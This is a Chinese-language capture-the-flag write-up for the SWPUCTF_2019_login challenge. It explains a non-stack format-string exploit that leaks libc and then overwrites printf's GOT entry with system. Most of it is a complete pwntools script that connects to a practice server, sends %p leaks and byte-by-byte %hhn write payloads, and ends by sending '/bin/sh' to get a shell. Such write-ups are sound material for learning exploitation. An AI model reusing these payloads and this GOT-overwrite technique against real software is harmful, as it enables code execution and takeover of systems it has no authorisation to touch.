SWPUCTF_2019_login(18/100)

思路

这题经典的非栈上格式化字符串,之前做了一道堆的,现在这道是往bss段写
但都是要利用ebp链表去改导向
看到可以写got表,没有金丝雀,也没有偏移,初步准备泄露libc,然后写printf

泄露比较简单
写地址的话要注意的点就是在写地址的时候注意不要一次性n输入,会造成大量数据输入失败。hhn逐字节输入。

EXP

from pwn import *

#p = process("./SWPUCTF_2019_login")
p = remote('node4.buuoj.cn',28591)
# context.log_level = 'debug'
elf = ELF("./SWPUCTF_2019_login")
libc = ELF('./libc-2.27-32.so')

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
def dbg():
    gdb.attach(p)
# leak libc
sla('Please input your name: ','mo')
sla('Please input your password: ','%15$p')
p.recvuntil('0x')
libc_start_main = int(p.recvuntil('\n'),16)-0xf1
lg('libc_start_main',libc_start_main)
libc_base = libc_start_main - libc.sym['__libc_start_main']
lg('libc_base',libc_base)
system_addr = libc.sym['system'] + libc_base
lg('system',system_addr)


printf_got = elf.got['printf']# 0x804b014
lg('printf_got',printf_got)
sla('Try again!','%6$p')
p.recvuntil('0x')
stack_6 = int(p.recvuntil('\n'),16)
lg('stack_6',stack_6)
sla('Try again!','%10$p')
p.recvuntil('0x')
stack_10 = int(p.recvuntil('\n'),16)
lg('stack_10',stack_10)

#add printf got
pl = '%'+ str(0x14) + 'c%10$hhn'
sla('Try again!',pl)

pl = '%' + str((stack_10 & 0xFF) + 1) + 'c%6$hhn'  
sla('Try again!',pl)
pl = '%' + str(0xB0) + 'c%10$hhn'  
sla('Try again!\n',pl)

pl = '%' + str((stack_10 & 0xFF) + 2) + 'c%6$hhn' 
sla('Try again!\n',pl)
pl = '%' + str(0x04) + 'c%10$hhn'  
sla('Try again!\n',pl)

pl = '%' + str((stack_10 & 0xFF) + 3) + 'c%6$hhn' 
sla('Try again!\n',pl)
pl = '%' + str(0x08) + 'c%10$hhn'  
sla('Try again!\n',pl)
#add printf got+1(edit printf_got bitbybit))
pl = '%' + str((stack_10 & 0xFF) + 4) + 'c%6$hhn'
sla('Try again!\n',pl)
pl = '%' + str(0x15) + 'c%10$hhn'
sla('Try again!\n',pl)

pl = '%' + str((stack_10 & 0xFF) + 5) + 'c%6$hhn'  
sla('Try again!',pl)
pl = '%' + str(0xb0) + 'c%10$hhn'  
sla('Try again!\n',pl)

pl = '%' + str((stack_10 & 0xFF) + 6) + 'c%6$hhn' 
sla('Try again!\n',pl)
pl = '%' + str(0x04) + 'c%10$hhn'  
sla('Try again!\n',pl)

pl = '%' + str((stack_10 & 0xFF) + 7) + 'c%6$hhn' 
sla('Try again!\n',pl)
pl = '%' + str(0x08) + 'c%10$hhn'  
sla('Try again!\n',pl)

# cover printf to system
# reset
pl = '%' + str((stack_10 & 0xFF)) + 'c%6$hhn'
sla('Try again!\n',pl)

pl  ='%' + str(system_addr & 0xFF) + 'c%14$hhn'
pl +='%' + str((((system_addr & 0xFFFF00)>>8))-0x10)+'c%15$hn'
sla('Try again!\n',pl)
sla('Try again!\n','/bin/sh\x00')

p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 前言 前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血...
    pu1p阅读 3,870评论 0 1
  • 最近在看格式化字符串漏洞,就做了HITCON-Tranning-Master的lab7~lab9 这几题都是关于格...
    zs0zrc阅读 4,136评论 0 0
  • 1.guess_num 用checksec查看文件属性: 用64位的IDA打开: 因为gets()函数不受输入限制...
    呼噜84阅读 3,715评论 0 1
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 11,274评论 0 4
  • 公元:2019年11月28日19时42分农历:二零一九年 十一月 初三日 戌时干支:己亥乙亥己巳甲戌当月节气:立冬...
    石放阅读 11,803评论 0 2